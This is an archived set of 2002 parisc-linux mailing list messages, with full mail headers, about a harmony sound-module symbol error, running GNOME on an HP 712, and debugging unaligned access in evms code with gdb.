X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15939

Helge Deller wrote:
> On Wednesday 28 August 2002 16:34, Christian Schmitt wrote:
> 
>>I recently downloaded and compiled the latest pa-kernel. I also included
>>harmony sound support and now I would like to know if and how I can access
>>the sound device. Serching on the web was no success.
> 
> 
> insmod harmony
> aumix
> mpg123 <your-favorite-mp3-file>
> 

I recompiled the kernel with harmony as a module. I get unresolved symbols when 
loading the harmony driver:

ccio_get_fake

Any suggestions?

Chris


-- 
Linux - Cause life is too short for reboots




From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GNOME 1.4
Date: Thu, 29 Aug 2002 10:37:07 -0600
Organization: Trolls are evil, what are you?
Lines: 11
Approved: news@gmane.org
Message-ID: <1nismusojam12vial5vnqarbmfd8pb8mh7__17873.5840986066$1416621659$gmane$org@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621659 13046 80.91.229.3 (22 Nov 2014 02:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 10:34:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes03-hme0.telusplanet.net (fepout1.telus.net [199.185.220.236])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC3564829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 10:34:40 -0600 (MDT)
Original-Received: from win2kbox ([66.222.159.202])
          by priv-edtnes03-hme0.telusplanet.net
          (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP
          id <20020829163439.GRBZ7015.priv-edtnes03-hme0.telusplanet.net@win2kbox>;
          Thu, 29 Aug 2002 10:34:39 -0600
X-Mailer: Forte Agent 1.92/32.570
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15940

I finally got GNOME 1.4 working on a 712/60, after many tries and a
newer ISO image of palinux-2.4.18-pa60-20020802-netinst.iso.

I used tasksel to select a workstation with:  "X window system,
desktop system, games and conventional unix server" any other
combinations would over fill my 1GB hard disk drive, or other attempts
that would fit in the drive, GNOME failed on startup and be broken.

Its pretty, but slow .   .  . .



From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: 29 Aug 2002 10:54:31 -0600
Lines: 81
Approved: news@gmane.org
Message-ID: <1030640071.22367.392.camel@beavis>
References: <3D6CDF5A.5090205@gmx.de>
	<200208281906.14844.helge.deller@sap.com>  <3D6E258B.6010600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621659 13050 80.91.229.3 (22 Nov 2014 02:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:59 +0000 (UTC)
Cc: Helge Deller <helge.deller@sap.com>,
	parisc-linux@lists.parisc-linux.org
To: christian@familieschmitt.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 10:54:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91B104829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 10:54:34 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B89F92E3F4; Thu, 29 Aug 2002 10:54:31 -0600 (MDT)
In-Reply-To: <3D6E258B.6010600@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15941

I have a theory on this .... but will probably be dis-reguarded by
someone more knowledgable :)

I will try to explain what I believe the problem is, and provid a
quick hack/work around for you to get it working.


First can you tell me if CONFIG_IOMMU_CCIO is defined in your
kernel as this will affect my answer.

My suspicion is that it is not defined, thus my answer makes
this assumption.


Problem:
	The CONFIG_IOMMU_CCIO is not defined in your kernel,
	so the ccio_get_fake() is defined to be NULL in
	include/asm-parisc/pci.h.  This usually works fine
	if the drivers are compiled into the kernel ... but
	you are loading this as a module....  My suspicion is
	that the harmony module is trying to find the 
	ccio_get_fake() entry point and your kernel does not
	export that function. (CONFIG_IOMMU_CCIO is not 
	defined).

	What confuses my about this problem is why ccio_get_fake()
	is not defined to NULL by include/asm-parisc/pci.h.  Is
	there a mis-match between your kernel and module CONFIG_*
	options?


Solution:
	Since the 710 does not have ccio, the cico_get_fake() 
	is not needed. The ccio_get_fake() only needed for ccio
	machines on busses below the ccio that are not PCI (ie,
	PIC, GSC).  So for you temp hack, just assign
	harmony.fake_pci_dev to NULL.  Once we have a better
	picture of what is happening, we will insert a better
	fix if appropriate :)

Thanks,

- Ryan

	
On Thu, 2002-08-29 at 07:45, Christian Schmitt wrote:
> Helge Deller wrote:
> > On Wednesday 28 August 2002 16:34, Christian Schmitt wrote:
> > 
> >>I recently downloaded and compiled the latest pa-kernel. I also included
> >>harmony sound support and now I would like to know if and how I can access
> >>the sound device. Serching on the web was no success.
> > 
> > 
> > insmod harmony
> > aumix
> > mpg123 <your-favorite-mp3-file>
> > 
> 
> I recompiled the kernel with harmony as a module. I get unresolved symbols when 
> loading the harmony driver:
> 
> ccio_get_fake
> 
> Any suggestions?
> 
> Chris
> 
> 
> -- 
> Linux - Cause life is too short for reboots
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 10:55:27 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020829165527.DC3044829@dsl2.external.hp.com>
References: <3D6CDF5A.5090205@gmx.de> <200208281906.14844.helge.deller@sap.com>  <3D6E258B.6010600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621659 13052 80.91.229.3 (22 Nov 2014 02:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:59 +0000 (UTC)
Cc: Helge Deller <helge.deller@sap.com>,
	parisc-linux@lists.parisc-linux.org
To: christian@familieschmitt.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 10:55:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DC3044829; Thu, 29 Aug 2002 10:55:27 -0600 (MDT)
In-Reply-To: Message from Christian Schmitt <chris.81@gmx.de> 
   of "Thu, 29 Aug 2002 15:45:47 +0200." <3D6E258B.6010600@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15942

Christian Schmitt wrote:
> ccio_get_fake
> 
> Any suggestions?

harmony.c needs to include pci.h :^(

./include/asm-parisc/pci.h:#define ccio_get_fake(dev) NULL

that's where the pci_dma_xxx interface definitions live.
Or those definitions need to move to a seperate file that
harmony.c and pci.h can include. Maybe create a pci-dma.h?

helge, rbrad, willy?

grant


From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 18:59:07 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3D53B3B70000896D@ocpmta1.be.tiscali.com>
References: <200208291428.g7TESm9l024111@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621660 13055 80.91.229.3 (22 Nov 2014 02:01:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 10:59:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55DD24829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 10:59:16 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 18:59:07 +0200
In-Reply-To: <200208291428.g7TESm9l024111@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15943

>-- Original Message --
>Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>To: jsoe0708@tiscali.be
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Thu, 29 Aug 2002 10:28:48 -0400 (EDT)
>
>
>> >Program received signal SIGINT, Interrupt.
>> >0x4020a0e4 in isa_null_partition_record (p=0x3fe0ff) at checks.c:65
>
>You can see from the value of p above that it is not properly aligned
>for a 4 byte access.  Put a break on isa_null_partition_record and
>
>cond n p==0x3fe0ff
>
>where n is the breakpoint number of the break at isa_null_partition_record.

As previously, I could not put a break at isa_null_partition_record (function
not define but with ^C I reach to stop recursively in this function and so
for example with p==0x26ece I got p.boot_ind=0 ; p.head=63 ; p.sector=224
; p.cyl=255; ...

p is of type partition define as follow:
struct partition {
    unsigned char boot_ind;     /* 0x80 - active */
    unsigned char head;     /* starting head */
    unsigned char sector;       /* starting sector */
    unsigned char cyl;      /* starting cylinder */
    unsigned char sys_ind;      /* What partition type */
    unsigned char end_head;     /* end head */
    unsigned char end_sector;   /* end sector */
    unsigned char end_cyl;      /* end cylinder */
    unsigned int start_sect;    /* starting sector counting from 0 */
    unsigned int nr_sects;      /* nr of sectors in partition */
};

So anyway there is a bug because I presume that the for loop is there to
scan the 4 int what it doen't do (?) and find another way to say an 'int'
is null ( hmm why not simply 
u_int8_t *uip = (u_int8_t *)p;
for (i=0 ; i<16 ; i++){
    if (*uip+i != 0x00) return FALSE;
}
return TRUE;

what do you think?


>Then, run the program and it should stop at isa_null_partition_record
>when the fault is about to occur.  You will then have to do a bt to
>determine why p is incorrectly aligned (last hex digit should be 0,
>4, 8 or c).

Many thanks,
    Joel



From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 11:05:49 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020829170549.C08EB4829@dsl2.external.hp.com>
References: <3D6CDF5A.5090205@gmx.de> <200208281906.14844.helge.deller@sap.com> <3D6E258B.6010600@gmx.de>  <1030640071.22367.392.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621660 13057 80.91.229.3 (22 Nov 2014 02:01:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:00 +0000 (UTC)
Cc: christian@familieschmitt.de, Helge Deller <helge.deller@sap.com>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 11:05:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C08EB4829; Thu, 29 Aug 2002 11:05:49 -0600 (MDT)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "29 Aug 2002 10:54:31 MDT." <1030640071.22367.392.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15944

Ryan Bradetich wrote:
> 	What confuses my about this problem is why ccio_get_fake()
> 	is not defined to NULL by include/asm-parisc/pci.h.  Is
> 	there a mis-match between your kernel and module CONFIG_*
> 	options?

I think this is right. I overlooked that pci.h was getting
included...even though we should move pci_dma* to a different
file like I suggested.

grant


From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 13:10:49 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200208291710.g7THAnVF025339@hiauly1.hia.nrc.ca>
References: <3D53B3B70000896D@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621660 13061 80.91.229.3 (22 Nov 2014 02:01:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 11:10:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29B754829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 11:10:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7THAo00025341;
	Thu, 29 Aug 2002 13:10:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7THAnVF025339;
	Thu, 29 Aug 2002 13:10:49 -0400 (EDT)
In-Reply-To: <3D53B3B70000896D@ocpmta1.be.tiscali.com> from "jsoe0708@tiscali.be" at Aug 29, 2002 06:59:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15945

> p is of type partition define as follow:
> struct partition {
>     unsigned char boot_ind;     /* 0x80 - active */
>     unsigned char head;     /* starting head */
>     unsigned char sector;       /* starting sector */
>     unsigned char cyl;      /* starting cylinder */
>     unsigned char sys_ind;      /* What partition type */
>     unsigned char end_head;     /* end head */
>     unsigned char end_sector;   /* end sector */
>     unsigned char end_cyl;      /* end cylinder */
>     unsigned int start_sect;    /* starting sector counting from 0 */
>     unsigned int nr_sects;      /* nr of sectors in partition */
> };

The problem is that a struct of the above type is being allocated
at an unaligned address.  That's not normal.  The cast isn't the
problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 19:12:18 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3D53B3B70000897C@ocpmta1.be.tiscali.com>
References: <3D53B3B70000896D@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621661 13062 80.91.229.3 (22 Nov 2014 02:01:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 11:12:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C2544829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 11:12:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 19:12:18 +0200
In-Reply-To: <3D53B3B70000896D@ocpmta1.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15946

>
>So anyway there is a bug because I presume that the for loop is there to
>scan the 4 int what it doen't do (?) and find another way to say an 'int'
>is null ( hmm why not simply 
>u_int8_t *uip = (u_int8_t *)p;
>for (i=0 ; i<16 ; i++){
>    if (*uip+i != 0x00) return FALSE;
>}
>return TRUE;
>
Quick test and yes that works (reduce response time 1/10).

Anyway all better idea is well come :)

Thanks a lot,
    Joel




From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 12:11:48 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020829181149.032A74829@dsl2.external.hp.com>
References: <3D53B3B70000897C@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621661 13083 80.91.229.3 (22 Nov 2014 02:01:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:01 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 12:11:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 032A74829; Thu, 29 Aug 2002 12:11:48 -0600 (MDT)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Thu, 29 Aug 2002 19:12:18 +0200." <3D53B3B70000897C@ocpmta1.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15947

jsoe0708@tiscali.be wrote:
> >for (i=0 ; i<16 ; i++){
> >    if (*uip+i != 0x00) return FALSE;
> >}
> >return TRUE;
> >
> Quick test and yes that works (reduce response time 1/10).

You've avoided the first visible symptom but not solved the problem.
The next reference to the int embedded in the struct will cause
an unaligned access fault.

grant


From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Schmitt <chris.81@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 20:22:23 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3D6E665F.1030000@gmx.de>
References: <3D6CDF5A.5090205@gmx.de>	<200208281906.14844.helge.deller@sap.com>  <3D6E258B.6010600@gmx.de> <1030640071.22367.392.camel@beavis>
Reply-To: christian@familieschmitt.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621662 13107 80.91.229.3 (22 Nov 2014 02:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:02 +0000 (UTC)
To: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 12:21:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AC71D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 12:21:57 -0600 (MDT)
Original-Received: (qmail 15337 invoked by uid 0); 29 Aug 2002 18:21:55 -0000
Original-Received: from unknown (HELO gmx.de) (149.225.178.11)
  by mail.gmx.net (mp019-rz3) with SMTP; 29 Aug 2002 18:21:55 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: de, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
